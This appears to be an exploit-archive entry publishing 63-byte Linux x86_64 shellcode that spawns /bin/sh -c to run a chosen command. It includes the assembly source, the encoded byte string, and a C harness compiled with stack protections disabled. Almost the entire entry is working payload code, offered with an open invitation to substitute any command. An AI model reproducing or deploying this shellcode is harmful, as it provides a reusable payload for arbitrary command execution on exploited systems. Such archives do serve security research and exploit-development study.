Linux/x86_64 - execve(_/bin/sh__[_-c__cmd]_NULL) Arbitrary Command Execution Shellcode (63 bytes)



EKU-ID: 56255 CVE: OSVDB-ID:
Author: Muzaffer Umut ŞAHİN Published: 2025-08-04 Verified: Not Verified
Download:

Rating

☆☆☆☆☆
Home


/*
Title: Linux/x86_64 execve("/bin/sh",["-c",cmd],NULL) Arbitary Command Execution Shellcode (63 bytes)
Author: Muzaffer Umut ŞAHİN
Contact: mailatmayinlutfen@gmail.com
Date: 05.26.2025
Tested on Kali Linux/x86_64

--------------------------------------------------[CODE]--------------------------------------------------

global _start

_start:
 xor rax,rax
 xor rdx,rdx
 mov rdi,0x68732f6e69622f2f ; //bin/sh
 push rax
 push rdi
 mov rdi,rsp
 push rax
 push word 0x632d ; push "-c"
 mov rsi,rsp
 push rax
 jmp cmd
end:
 push rsi
 push rdi
 mov rsi,rsp
 mov al,59
 syscall
cmd:
 call end
 db "echo 'hell yeah!'" ; change this with your command

gcc -z execstack -fno-stack-protector -o main main.c
*/

#include <stdio.h>
#include <string.h>

int main() {
    unsigned char shellcode[] = "\x48\x31\xc0\x48\x31\xd2\x48\xbf\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x50\x57\x48\x89\xe7\x50\x66\x68\x2d\x63\x48\x89\xe6\x50\xeb\x09\x56\x57\x48\x89\xe6\xb0\x3b\x0f\x05\xe8\xf2\xff\xff\xff\x65\x63\x68\x6f\x20\x27\x68\x65\x6c\x6c\x20\x79\x65\x61\x68\x21\x27";
    printf("Size of the shellcode is %d bytes\n", strlen(shellcode));
    (*(void(*)())shellcode)();
    return 0;
}